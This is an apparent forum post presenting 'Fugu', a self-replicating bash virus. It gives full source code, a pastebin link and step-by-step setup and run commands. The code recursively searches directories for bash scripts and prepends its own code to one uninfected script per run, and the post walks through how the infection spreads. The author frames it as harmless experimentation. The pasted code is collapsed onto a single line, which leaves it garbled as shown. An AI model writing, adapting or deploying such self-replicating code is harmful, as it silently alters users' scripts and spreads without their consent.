Hello Stackers, today we talking about bash scripting malware. The script is called Fugu. I suggest that anyone who tries to run the script create a suitable environment to do so. This is just for fun and experimentation, not about being malicious and I discourage such behaviour.
Nothing malicious is taking place, we’re simply copying code from script to script so no real damage is done and any alterations can be reversed. – but I would still recommend you create a suitable environment for testing/execution.
The script will only infect it’s current directory and any sub-directories therein, so begin by creating a directory to contain the test…create some sub-directories within. A simple heirarchy of directories something like this should suffice:
test/
test/a/
test/a/b/
test/a/b/c/
Copy the fugu code (at the bottom of the page) into a text editor and save it
to the test/ directory as fugu. So you should have a bash script named:
test/fugu
Fugu Code here : https://pastebin.com/raw/JtHEz6UW
or
#!/bin/bash PID=$$ # Set at the command line with the -rd=<path> option, will default to the # current working directory if unspecified. ROOT_DIR= # ROOT_PWD stores the root directory where this script lies and is assigned # the output of a `pwd` when the script first runs. # # ROOT_SCR stores the name of this script - we could use $0 to get the # script name, but we'd have to parse that to get rid of ./path/to/script # to get the actual name - you can set ROOT_SCR at the command line with # the -rs option. # ROOT_PWD=`pwd` ROOT_SCR="fugu" ROOT_SHB="#!/bin/bash" # The script begins in the ROOT_DIR directory and will search sub-directories # to a certain level. # # ROOT_DIR is, by default, level 0. A sub-directory in ROOT_DIR would be # level 1, if it contains a sub that'd be level 2, and so on. # # We can limit the depth by setting ROOT_LVL - by default the value is # 0 (no limit). It can be set to any value >= 0 at the command line with # the -rl=<value> option. ROOT_LVL=0 # If find_file() finds a suitable file to infect it will store the # name of the file here - otherwise this will be left unset. FUGU_SCR= # Does what you'd expect - processes command line arguments. function sort_args() { for arg in "$@" do OPT= PAR= # Arguments at the command line are input in a specific format: # # -option=parameter # # These two lines separate these fields by first breaking the # -option=value at the =, turning it instead into a space. Each # field is then extracted using awk... OPT=`echo ${arg} | sed 's/=/ /g' | awk '{print $1}'` PAR=`echo ${arg} | sed 's/=/ /g' | awk '{print $2}'` #echo "OPT = ${OPT}" #echo "PAR = ${PAR}" # Options... if [ "${OPT}" = "-rd" ]; then if [ -z "${PAR}" ]; then echo "Error: The -rd option requires a parameter!" exit 1 fi ROOT_DIR=${PAR} elif [ "${OPT}" = "-rs" ]; then if [ -z "${PAR}" ]; then echo "Error: The -rs option requires a parameter!" exit 1 fi ROOT_SCR=${PAR} elif [ "${OPT}" = "-rl" ]; then if [ -z "${PAR}" ]; then echo "Error: The -rl option requires a parameter!" exit 1 fi ROOT_LVL=${PAR} else echo "Error: ${arg} - unknown option!" exit 1 fi done } function find_file() { local DEPTH_LVL=0 if [ -z ${1} ]; then DEPTH_LVL=0 else if [ ${ROOT_LVL} -gt 0 ]; then if [ ${1} -ge ${ROOT_LVL} ]; then return 1 fi fi DEPTH_LVL=${1} fi echo -en "pwd = `pwd`, DEPTH_LVL = ${DEPTH_LVL}\n\n" # Get a list of everything in the current directory, including # and hidden files... local LISTALL=`ls -a` # ...count the entries in the list. local LISTCT=`echo -e "${LISTALL}" | wc -l` # Iterate through each entry in the LISTALL list... local LINE=1 local ENTRY= while [ ${LINE} -le $((LISTCT + 1)) ]; do unset ENTRY # Get the first/next entry from the list. ENTRY=`echo -e "${LISTALL}" | head -n ${LINE} | tail -n1` LINE=$((LINE + 1)) echo -e "Checking entry ${ENTRY}" if [ -z "${ENTRY}" ] || [ "${ENTRY}" = "" ]; then break fi # Skip those . and .. directories! if [ "${ENTRY}" = "." ] || [ "${ENTRY}" = ".." ]; then echo "Skipping ${ENTRY}" continue 1 fi # If we've found a directory we cd there and begin # a new search. if [ -d "${ENTRY}" ]; then cd ${ENTRY} echo find_file "$((DEPTH_LVL + 1))" #PID=$! #wait $PID local RES=$? cd .. echo -e "Returned ${RES}\n" # If find_file() returned 0 we found a file to # infect - keep returning 0. #if [ ! -z $? ]; then if [ ${RES} -eq 0 ]; then echo -e "Returning 0 @depth ${DEPTH_LVL}\n" echo "FUGU_SCR = ${FUGU_SCR}" return 0 fi #fi continue 1 fi # Not a directory - look for a file, regular or # executable... if [ -f "${ENTRY}" ] || [ -x "${ENTRY}" ]; then # First line should match the shebang # (ROOT_SHB) FIRSTLINE=`cat ${ENTRY} | head -n 1` echo -e "Line 1 of ${ENTRY} = ${FIRSTLINE}\n" if [ "${FIRSTLINE}" = "${ROOT_SHB}" ]; then echo "Found match: ${ENTRY}" # We need to identify a unique line in # this code that we can use to identify # already infected files... # # That ROOT_SHB="#!/bin/bash" line should # be enough. # # First, build an absolute path to the file. FUGU_SCR="`pwd`/${ENTRY}" FUGU_RES= FUGU_RES=`cat ${FUGU_SCR} | grep "ROOT_SHB=\"#!/bin/bash\"" | head -n 1` echo "FUGU_RES = ${FUGU_RES}" if [ ! -z ${FUGU_RES} ]; then echo -e "${FUGU_RES}\n\n${FUGU_SCR} infected!" FUGU_SCR= else echo -e "${FUGU_SCR} not infected!" return 0 fi fi fi done # Return 1 to indicate failure echo -e "Returning 1 @depth: ${DEPTH_LVL}\n" return 1 } function set_scr() { # Need to extract the name of this script (might be an infected file and not # the fugu script...) if [ "${0:0:2}" = "./" ]; then # Executed with ./ - needs to be removed... SCR=${0:2} else SCR=${0} fi # Might be a path string - isolate the script name SCRNAME=`echo ${SCR} | sed 's/\// /g' | awk '{print $NF}'` #echo "SCRNAME = ${SCRNAME}" ROOT_SCR=${SCRNAME} } # Process all command line arguments. sort_args $@ PID=$! wait $PID if [ "${ROOT_DIR}" = "" ]; then # No root directory specified - begin in current working directory. echo -en "No root dir!\n" else # Root directory specified - begin there. echo -en -en "Root dir: ${ROOT_DIR}\n" cd ${ROOT_DIR} fi echo "Root pwd: ${ROOT_SCR}" echo -en "Root level: ${1}\n\n" # Find a file that can be infected. # # We will search ROOT_DIR, all files and sub-directories (ROOT_LVL # permitting) for the first file containing the shebang (#!/bin/bash) # that is not already infected... # # Set initial depth level to 0. find_file "0" PID=$! wait $PID if [ -z ${FUGU_SCR} ] || [ "${FUGU_SCR}" = "" ]; then echo "Couldn't find a script to infect!" exit 1 fi echo -en ">> find_file returned ${FUGU_SCR}\n\n" # Count the lines in the target and source (this) script... LINES_DST=`cat ${FUGU_SCR} | wc -l` LINES_SRC=`cat "${ROOT_PWD}/${ROOT_SCR}" | wc -l` echo "LINES_DST = ${LINES_DST}" echo "LINES_SRC = ${LINES_SRC}" LINES_DST=$((LINES_DST - 1)) FUGU_OUT=`cat "${ROOT_PWD}/${ROOT_SCR}"` TRGT_OUT=`cat "${FUGU_SCR}" | tail -n${LINES_DST}` echo -e "${FUGU_OUT}\n\n${TRGT_OUT}\n" > "${FUGU_SCR}"
Now…since fugu finds and infects other bash scripts, we should create some to that we can verify the script worls properly. Make a few copies of it, save it to the following files:
test/z
test/a/y
test/a/b/x
test/a/b/c/w
Before you run it, it’s best to understand how it works. I have two versions of the script, one tht gives some output (probbaly more confusing than anything) and has lot’s of comments. Any one with no comments and gives no output.
But they both do exactly the same thing…
- First, fugu will list the contents of the current directory and
cycle through them one at a time.
- If a directory is found, fugu will cd to that directory and begin
to search that directory.
- If any file is found it must meet specific criteria – first, it must
begin with a #!/bin/bash shebag, second it must NOT contain a very
specific pattern that should be unique to fugu infected scripts.
- If the file meets the criteria fugu copies itself to the script so
that when the script is next run, it will execute the fugu code first,
then its own original code second.
- If no infected files are found fugu will continue to search subsequent
sub-directories looking for a host file to infect, if none are found,
fugu exits and does nothing.
since we use commands like ls we get alphabetical results, if you think of our structure:
test/z test/a/y test/a/b/x test/a/b/c/w
Since a comes before z fugu will find a first, find that it is a directory and cd to there where it will begin to search the a directory for files and folders.
Since b will be found before y we cd to b…c will be found before x so we cd to c…and w is all there is in the c directory so w should be the first file that fugu finds and infects. You might wants to chuck some regular files around just to verify that fugu isn’t affecting regular text files.
Execute fugu:
cd test
chmod 0755 fugu
./fugu
cat a/b/c/w
Next time we run fugu, it will again find directories a, b, c…this time it will find that the w file within the c directory is already infected…since there’s nothing else in the c directory, fugu will backtrack and end up back in the b directory – and this time will find and infect the x file.
- Next time it will infect, y, then lastly z.
- Fugu will not infect itself!
I won’t spend too much time going into detail, it’s probably more interesting to just read the script. Hope someone learns something from it, criticisms or even improvements encouraged and welcomed.
Okay That’s All folks, cya.